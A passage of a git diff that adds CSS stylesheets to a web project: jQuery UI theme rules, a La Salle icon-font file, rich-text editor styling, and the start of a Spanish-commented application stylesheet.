a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#454545;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #ccc;background:#ededed;font-weight:normal;color:#2b2b2b}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#2b2b2b;text-decoration:none}.ui-visual-focus{box-shadow:0 0 3px 1px rgb(94,158,214)}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #003eff;background:#007fff;font-weight:normal;color:#fff}.ui-icon-background,.ui-state-active .ui-icon-background{border:#003eff;background-color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #dad55e;background:#fffa90;color:#777620}.ui-state-checked{border:1px solid #dad55e;background:#fffa90}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#777620}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #f1a899;background:#fddfdf;color:#5f3f3f}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#5f3f3f}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#5f3f3f}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:bold}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:normal}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url("images/ui-icons_444444_256x240.png")}.ui-widget-header .ui-icon{background-image:url("images/ui-icons_444444_256x240.png")}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url("images/ui-icons_555555_256x240.png")}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url("images/ui-icons_ffffff_256x240.png")}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url("images/ui-icons_777620_256x240.png")}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url("images/ui-icons_cc0000_256x240.png")}.ui-button .ui-icon{background-image:url("images/ui-icons_777777_256x240.png")}.ui-icon-blank{background-position:16px 16px}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{border-top-left-radius:3px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{border-top-right-radius:3px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{border-bottom-left-radius:3px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{border-bottom-right-radius:3px}.ui-widget-overlay{background:#aaa;opacity:.003;filter:Alpha(Opacity=.3)}.ui-widget-shadow{-webkit-box-shadow:0 0 5px #666;box-shadow:0 0 5px #666} \ No newline at end of file diff --git a/css/lasalle.css b/css/lasalle.css new file mode 100644 index 0000000..d83ca77 --- /dev/null +++ b/css/lasalle.css @@ -0,0 +1,105 @@ +/* +Iconografía de La Salle +*/ +@font-face { + font-family: 'lasalle'; + src: url("../fonts/lasalle/lasalle.eot"); + src: url("../fonts/lasalle/lasalle.eot?#iefix") format('embedded-opentype'), url("../fonts/lasalle/lasalle.woff") format('woff'), url("../fonts/lasalle/lasalle.ttf") format('truetype'), url("../fonts/lasalle/lasalle.svg#lasalle") format('svg'); + font-weight: normal; + font-style: normal; +} +.icon { + font-family: 'lasalle' !important; + speak: none; + font-style: normal; + font-weight: normal; + font-variant: normal; + text-transform: none; + /*line-height: 1;*/ +/* Better Font Rendering =========== */ + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} +.icon-fe:before {content: "\e952";} +.icon-compras:before {content: "\e94d";} +.icon-arte:before {content: "\e94e";} +.icon-restaurante:before {content: "\e94f";} +.icon-cafe:before {content: "\e950";} +.icon-biblioteca:before {content: "\e951";} +.icon-markFull:before {content: "\e94c";} +.icon-comment:before {content: "\e947";} +.icon-faith:before {content: "\e948";} +.icon-justice:before {content: "\e949";} +.icon-compromise:before {content: "\e94a";} +.icon-fraternity:before {content: "\e94b";} +.icon-telephone:before {content: "\e943";} +.icon-onSpeaking:before {content: "\e944";} +.icon-offSpeaking:before { content: "\e945";} +.icon-audio:before {content: "\e946";} +.icon-play:before {content: "\e91c";} +.icon-link:before {content: "\e936";} +.icon-ym:before { content: "\e937";} +.icon-wp:before {content: "\e938";} +.icon-read:before { content: "\e939";} +.icon-certificate:before {content: "\e93a";} +.icon-school:before {content: "\e93b";} +.icon-speaker:before {content: "\e93c";} +.icon-atom:before {content: "\e93d";} +.icon-bag:before {content: "\e93e";} +.icon-carbuy:before {content: "\e93f";} +.icon-idea:before {content: "\e940";} +.icon-hands:before {content: "\e941";} +.icon-arrowprev:before {content: "\e942";} +.icon-mouse:before {content: "\e900";} +.icon-mail:before {content: "\e901";} +.icon-down:before {content: "\e902";} +.icon-up:before {content: "\e903";} +.icon-right:before {content: "\e904";} +.icon-left:before {content: "\e905";} +.icon-headphones:before {content: "\e906";} +.icon-download:before {content: "\e907";} +.icon-chat:before {content: "\e908";} +.icon-books:before {content: "\e909";} +.icon-calculator:before {content: "\e90a";} +.icon-wrong:before {content: "\e90b";} +.icon-conversation:before { content: "\e90c";} +.icon-correct:before {content: "\e90d";} +.icon-error:before {content: "\e90e";} +.icon-interchange:before {content: "\e90f";} +.icon-conectivity:before {content: "\e910";} +.icon-video:before {content: "\e911";} +.icon-desktop:before {content: "\e912";} +.icon-document:before {content: "\e913";} +.icon-stethoscope:before { content: "\e914";} +.icon-student:before {content: "\e915";} +.icon-smartphone:before {content: "\e916";} +.icon-pencil:before {content: "\e917";} +.icon-sitemap:before {content: "\e918";} +.icon-medal:before {content: "\e919";} +.icon-microphone:before {content: "\e91a";} +.icon-wireless:before {content: "\e91b";} +.icon-fountain:before {content: "\e91d";} +.icon-feather:before {content: "\e91e";} +.icon-pen:before {content: "\e91f";} +.icon-pentwo:before {content: "\e920";} +.icon-watercolor:before {content: "\e921";} +.icon-search:before {content: "\e922";} +.icon-security:before {content: "\e923";} +.icon-consult:before {content: "\e924";} +.icon-sound:before {content: "\e925";} +.icon-files:before {content: "\e926";} +.icon-upload:before {content: "\e927";} +.icon-close:before {content: "\e928";} +.icon-arrow:before {content: "\e929";} +.icon-mark:before {content: "\e92a";} +.icon-time:before {content: "\e92b";} +.icon-phone:before {content: "\e92c";} +.icon-share:before {content: "\e92d";} +.icon-seeker:before {content: "\e92e";} +.icon-fb:before {content: "\e92f";} +.icon-tw:before {content: "\e930";} +.icon-yt:before {content: "\e931";} +.icon-ig:before {content: "\e932";} +.icon-in:before {content: "\e933";} +.icon-sc:before {content: "\e934";} +.icon-chk:before {content: "\e935";} \ No newline at end of file diff --git a/css/richtext.css b/css/richtext.css new file mode 100644 index 0000000..e36f6b7 --- /dev/null +++ b/css/richtext.css @@ -0,0 +1,190 @@ +.richText { + position: relative; + border: 1px solid #D6D8D8; + background: #D6D8D8; + width: 100%; + border-radius: 0.25rem; +} + +.richText .richText-toolbar ul { + padding: 0 !important; + margin: 0 !important; + display: flex; + flex-wrap: wrap; + justify-content: left;/*center*/ +} + +.richText .richText-toolbar ul li { + list-style: none; +} + +.richText .richText-toolbar ul li a { + display: block; + padding: 0.25rem 0.5rem; + cursor: pointer; + -webkit-transition: color 0.4s; + -moz-transition: color 0.4s; + transition: color 0.4s; +} + +.richText .richText-toolbar ul li a:hover { + color: #001d68; +} + +.richText .richText-toolbar ul li a .fa, .richText .richText-toolbar ul li a .fas, .richText .richText-toolbar ul li a .far, .richText .richText-toolbar ul li a svg { + pointer-events: none; +} + +.richText .richText-toolbar ul li[data-disable="true"] { + opacity: 0.1; +} + +.richText .richText-toolbar ul li[data-disable="true"] a { + cursor: default; +} + +.richText .richText-toolbar ul li:not([data-disable="true"]).is-selected .richText-dropdown-outer { + display: block; +} + +.richText .richText-toolbar ul:after { + display: block; + content: ""; + clear: both; +} + +.richText .richText-toolbar:last-child { + font-size: 0.75rem; +} + +.richText .richText-toolbar:after { + display: block; + clear: both; + content: ""; +} + +.richText .richText-form select {cursor: pointer;} + +.richText .richText-editor { + padding: 0.5rem; + background-color: #FFFFFF; + height: 15rem; + outline: none; + overflow-y: scroll; + overflow-x: auto; +} + +.richText .richText-toolbar ul li a .richText-dropdown-outer { + display: none; + position: absolute; + top: 0; + left: 0; + right: 0; + bottom: 0; + background-color: rgba(0, 0, 0, 0.3); + cursor: default; +} + +.richText .richText-toolbar ul li a .richText-dropdown-outer .richText-dropdown { + position: relative; + z-index:10; + display: block; + margin: 3% auto 0 auto; + background-color: #D6D8D8; + border: 0.1rem solid #777777; + border-radius: 0.25rem; + padding: 0.75rem; + padding-top: 1.5rem; + max-width: 90%; + -webkit-box-shadow: 0 0 5px 0 #777777; + -moz-box-shadow: 0 0 5px 0 #777777; + box-shadow: 0 0 5px 0 #777777; +} + +.richText .richText-toolbar ul li a .richText-dropdown-outer .richText-dropdown .richText-dropdown-close { + position: absolute; + top: 0.25rem; + right: 0.5rem; + color: #CE0E2D; + cursor: pointer; +} + +.richText .richText-toolbar ul li a .richText-dropdown-outer .richText-dropdown .richText-dropdown-close:hover { + opacity: 0.5 +} + +.richText-form-item{ + position: relative; + display: flex; + flex-wrap: wrap; + align-items: stretch; + width: 100%; +} + +.richText .richText-form label { + display: flex; + align-items: left;/*center*/ + padding: 0.375rem 0.75rem; + margin-bottom: 0; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + font-weight: 600; + text-align: left;/*center*/ + white-space: nowrap; +} + +.richText .richText-form input[type="text"], .richText .richText-form input[type="file"], .richText .richText-form input[type="number"], .richText .richText-form select { + display: block; + height: calc(1.5em + 0.75rem + 2px); + padding: 0.375rem 0.75rem; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #777777; + background-color: #FFFFFF; + background-clip: padding-box; + border: 1px solid #D6D8DB; + border-radius: 0.25rem; + transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; + position: relative; + flex: 1 1 auto; + width: 1%; + margin-bottom: 0; +} + +.richText .richText-toolbar ul li a .richText-dropdown-outer ul.richText-dropdown {list-style: none;} +.richText .richText-toolbar ul li a .richText-dropdown-outer ul.richText-dropdown li {display: block;float: none;font-family: Calibri,Verdana,Helvetica,sans-serif;} +.richText .richText-toolbar ul li a .richText-dropdown-outer ul.richText-dropdown li a {display: block;padding: 10px 15px;border-bottom: #EFEFEF solid 1px;} +.richText .richText-toolbar ul li a .richText-dropdown-outer ul.richText-dropdown li a:hover {background-color: #FFFFFF;} +.richText .richText-toolbar ul li a .richText-dropdown-outer ul.richText-dropdown li.inline {margin: 10px 6px;float: left;} +.richText .richText-toolbar ul li a .richText-dropdown-outer ul.richText-dropdown li.inline a {display: block;padding: 0;margin: 0;border: none;-webkit-border-radius: 50%;-moz-border-radius: 50%;border-radius: 50%;-webkit-box-shadow: 0 0 10px 0 #999;-moz-box-shadow: 0 0 10px 0 #999;box-shadow: 0 0 10px 0 #999;} +.richText .richText-toolbar ul li a .richText-dropdown-outer ul.richText-dropdown li.inline a span {display: block;height: 30px;width: 30px;-webkit-border-radius: 50%;-moz-border-radius: 50%;border-radius: 50%;} + + +.richText .richText-undo, .richText .richText-redo { + float: left; + display: block; + padding: 0.5rem; + cursor: pointer; +} + +.richText .richText-undo.is-disabled, .richText .richText-redo.is-disabled { + opacity: 0.4; +} + +.richText .richText-help { + display: none; +} + +/* +.richText .richText-initial {margin-bottom: -4px;padding: 10px;background-color: #282828;border: none;color: #33FF33;font-family: Monospace,Calibri,Verdana,Helvetica,sans-serif;max-width: 100%;min-width: 100%;width: 100%;min-height: 400px;height: 400px;} +.richText .richText-editor ul, .richText .richText-editor ol {margin: 10px 25px;} +.richText .richText-editor:focus {border-left: #3498db solid 2px;} +.richText .richText-editor table {margin: 10px 0;border-spacing: 0;width: 100%;} +.richText .richText-editor table td, .richText .richText-editor table th {padding: 10px;border: #EFEFEF solid 1px;} +.richText .richText-help {float: right;display: block;padding: 10px 15px;cursor: pointer;} +.richText .richText-help-popup a {color: #3498db;text-decoration: underline;} +.richText .richText-help-popup hr {margin: 10px auto 5px auto;border: none;border-top: #EFEFEF solid 1px;} +.richText .richText-list.list-rightclick {position: absolute;background-color: #FAFAFA;border-right: #EFEFEF solid 1px;border-bottom: #EFEFEF solid 1px;} +.richText .richText-list.list-rightclick li {padding: 5px 7px;cursor: pointer;list-style: none;}*/ \ No newline at end of file diff --git a/css/sgi.css b/css/sgi.css new file mode 100644 index 0000000..6e7f562 --- /dev/null +++ b/css/sgi.css @@ -0,0 +1,1085 @@ +/* + Created on : 5/12/2018, 01:34:49 PM + Author : Alejandro +*/ + +/* General */ +.container-fluid { + padding: 0; +} + +#logo { + max-height: 64px; +} + +body { + font-family: 'indivisa-text', Arial; + font-size: 16px !important; + color: #001D68; + background-color: white; +} + +.bg-head { + background-color: white; +} + +.bg-info { + background-color: #F0F0F0 !important; +} + +.bloque-clase { + box-sizing: border-box; + background-color: #dee2e6; + padding: 10px; + margin-bottom: 10px; + min-height: 100%; + border-collapse: collapse; + border: .2rem solid white !important; +} + +.bloque-clase.conflict { + border: .2rem solid var(--danger) !important; + background-color: #f6cfd6; +} + +.bloque-clase:hover { + background-color: hsl(207, 12%, 85%); +} + +.bloque-clase.conflict:hover { + background-color: hsl(0, 100%, 85%); +} + +/* Make cursor move if draggable */ +.bloque-clase[draggable=true] { + cursor: move; +} + +.bloque-clase.dragging { + opacity: .5; + border: .2rem solid var(--primary) !important; + +} + +.dragging-over { + border: .2rem solid var(--primary) !important; + background-color: #dee2e6; +} + +.menu-flotante { + z-index: 500; + position: absolute; + bottom: 0; + right: 0; + background-color: #fff; + border-radius: 6px 0 0 0; + padding-top: 2px; +} + +/* SOBREESCRIBE BOOTSTRAP */ +.marco { + max-width: 960px; + width: 100%; + margin-left: auto; + margin-right: auto; +} + +.marco-wide { + max-width: 1366px; + width: 100%; + margin-left: auto; + margin-right: auto; +} + +.content { + min-height: 480px; + padding: 1em; +} + +.menu { + max-width: 960px; + width: 100%; + margin-left: auto; + margin-right: auto; + display: flex; + padding: 0 15px; +} + +.menu-list .sistema:not(:last-child):after { + content: "|"; + margin-left: 10px; + margin-right: 10px; +} + +.sistema-active { + color: #d21034 !important; + font-weight: bold; +} + +/*.font-small{font-size:14px;}*/ + +/* Contenidos */ +h1, +h2, +h3 { + letter-spacing: 1px; + position: relative; +} + +h1 { + margin-bottom: 40px; +} + +.subtitle:before { + content: ''; + position: absolute; + bottom: -8px; + left: 0; + width: 80px; + display: block; + background: #d21034; + height: 3px; +} + +.main-title { + font-size: 3.2rem; + margin-bottom: 60px; +} + +/* Otros */ +.alert-heading .ing-caret, +.card-header .ing-caret, +.side-menu .ing-caret { + transition: .3s transform ease-in-out; +} + +.alert-heading .collapsed .ing-caret, +.card-header .collapsed .ing-caret { + transform: rotate(90deg); +} + +#accordionMenu .collapsed .ing-caret { + transform: rotate(-90deg); +} + +.alert-heading .fa, +.card-header .fa { + transition: .3s transform ease-in-out; +} + +.alert-heading .collapsed .fa, +.card-header .collapsed .fa { + transform: rotate(90deg); +} + +#accordionMenu .collapsed .fa { + transform: rotate(-90deg); +} + +.border-mid:not(:last-child) { + border-bottom: 1px dotted #ccc +} + +.pointer { + cursor: pointer; +} + +/* TABLAS */ +.table-white .thead-dark th { + text-align: center; + border-color: #fff; + text-transform: uppercase; +} + +.table-white tr td, +.table-white tr th { + border-left: 1px !important; + border-color: #fff; + border-style: solid; +} + +.table-white tr td:first-child, +.table-white tr th:first-child { + border-left: 0; +} + +.table-nostriped tbody tr:nth-of-type(odd) { + background-color: transparent; +} + +.rotate-text { + writing-mode: vertical-lr; + transform: rotate(180deg); + height: max-content; + height: -moz-max-content; + height: -webkit-max-content; + height: -o-max-content; + height: -ms-max-content; +} + +.icono-acciones span, +.icono-acciones i { + margin: 0 3px; + text-decoration: none !important; +} + +.icono-acciones a:focus, +.icono-acciones a:hover, +.icono-acciones a:active { + text-decoration: none !important; +} + +/* FORMAS */ +.form-box { + margin-bottom: 28px; +} + +.form-box>.form-group { + margin-bottom: 10px +} + +.form-box>.form-group>label { + font-weight: bold; + text-align: right; + color: #001d68; + padding-left: 0 +} + +.form-box>.form-group>label.disabled { + color: #969696; +} + +.form-box>.form-group>label:before { + content: ''; + position: absolute; + top: -8px; + right: 0px; + width: 2px; + height: calc(100% + 16px); + display: block; + background: #d21034; +} + +.form-box>.form-group>label.disabled:before { + background: #969696 !important; +} + +.form-box-info>.form-group>div { + background-color: #f7f7f7; + padding-bottom: 10px; + padding-left: 8px; +} + +.form-box-info>.form-group>div:first-child { + margin-left: 7px; +} + +.form-box-info>.form-group:first-child>label { + padding-top: 27px; +} + +.form-box-info>.form-group:first-child>div { + padding-top: 20px; +} + +.form-box-info>.form-group:last-child>div { + padding-bottom: 20px; +} + +.form-box-info>.form-group.row { + margin-bottom: 0 !important; +} + +.modal .form-box-info>.form-group>div { + margin-left: 0px; +} + +.radio-md { + width: 1em; + height: 1em; +} + +.radio-lg { + width: 1.5em; + height: 1.5em; +} + +.radio-xl { + width: 2em; + height: 2em; +} + +select:disabled { + color: #969696 !important; +} + +.input-info { + color: #969696; +} + +.barra-right:before { + content: ''; + position: absolute; + top: -8px; + right: 0px; + width: 2px; + height: calc(100% + 16px); + display: block; + background: #d21034; +} + +/* Uso independiente */ +.barra-right.disabled:before { + background: #969696 !important; +} + +/* Uso independiente */ + +textarea { + resize: none; + overflow-x: hidden; + overflow-wrap: break-word; + overflow-y: auto; +} + +.clock[readonly] { + background-color: #fff !important; +} + +.hasDatepicker[readonly] { + background-color: #fff !important; +} + +.badge { + padding: 0.5em 1.4em; +} + +.ui-autocomplete { + max-height: 160px; + overflow-y: auto; + overflow-x: hidden; + font-size: 90% +} + +/* Data list*/ +.datalist { + position: relative; + border: 1px solid #969696; + border-radius: .25rem; +} + +.datalist-input { + padding: 6px 30px 6px 12px !important; + background: #FFFFFF !important; + border-radius: .25rem; + cursor: pointer; + border: 0; +} + +.datalist.disabled .datalist-input { + background: #f7f7f7 !important; + cursor: default; + color: #969696; +} + +.datalist.disabled .icono { + opacity: 0; +} + +.datalist .icono { + position: absolute; + font-size: 20px; + right: 10px; + top: 9px; + color: #969696; + transition: transform 0.2s ease; +} + +/*.iconoAzul{color: #001D68 !important;} Usar text-primary*/ +.datalist>ul { + position: absolute; + margin: 0; + padding: 0; + width: 100%; + max-height: 204px; + top: 100%; + left: 0; + list-style: none; + border-radius: 2px; + background: #FFFFFF; + border: 1px solid #001D68; + overflow: hidden; + overflow-y: auto; + z-index: 100; +} + +.datalist>ul li { + display: flex; + align-items: center; + justify-content: start; + padding: 0.3em 1em + /*0.8em 1em 0.8em 1em*/ + ; + color: #969696; +} + +.datalist>ul li:not(.not-selectable):hover { + background: #D21034; + color: #FFFFFF; + cursor: pointer; +} + +.datalist .selected { + background: #D21034; + color: #FFFFFF; +} + +.datalist .not-selectable { + text-align: center; + font-weight: bold; + cursor: default; + color: #001d68; + padding-left: 10px !important; +} + +.datalist-invalid { + border-color: #d21034; +} + +.datalist-invalid .icono { + color: #d21034 !important; +} + +/* Icono alerta */ +.alerta { + color: #ffb700 !important; + text-shadow: -1px -1px 0 #3f2f06, 1px -1px 0 #3f2f06, -1px 1px 0 #3f2f06, 1px 1px 0 #3f2f06; +} + +/* Modal */ +.modal-content { + border: 4px solid #001d68; +} + +.modal-header { + background-color: #001D68 !important; + color: #fff !important; + border-top-left-radius: 0; + border-top-right-radius: 0; + padding: 4px 8px 8px 8px; +} + +.modal-title { + font-weight: normal; + text-align: center; + padding: 0 30px; +} + +.modal-header .close { + position: absolute; + top: 0; + right: 0; +} + +.modal-header .close:focus { + border: none; + outline: none; +} + +/* The side navigation menu */ +#sidebar { + width: 400px; + position: fixed; + top: 0; + right: -400px; + height: 100vh; + z-index: 1023; + transition: all 0.3s; + overflow-y: auto; +} + +#sidebar.active { + right: 0; +} + +.overlay { + display: none; + position: fixed; + width: 100vw; + height: 100vh; + background: rgba(0, 0, 0, 0.6); + z-index: 1022; + opacity: 0; + transition: all 0.5s ease-in-out; +} + +.overlay.active { + display: block; + opacity: 1; +} + +#sidebar a:hover { + text-decoration: none; + color: #d12034; +} + +#sidebar a { + transition: color 0.6s ease; +} + +/* ICONOS MENU */ +header { + padding: 20px 0; + 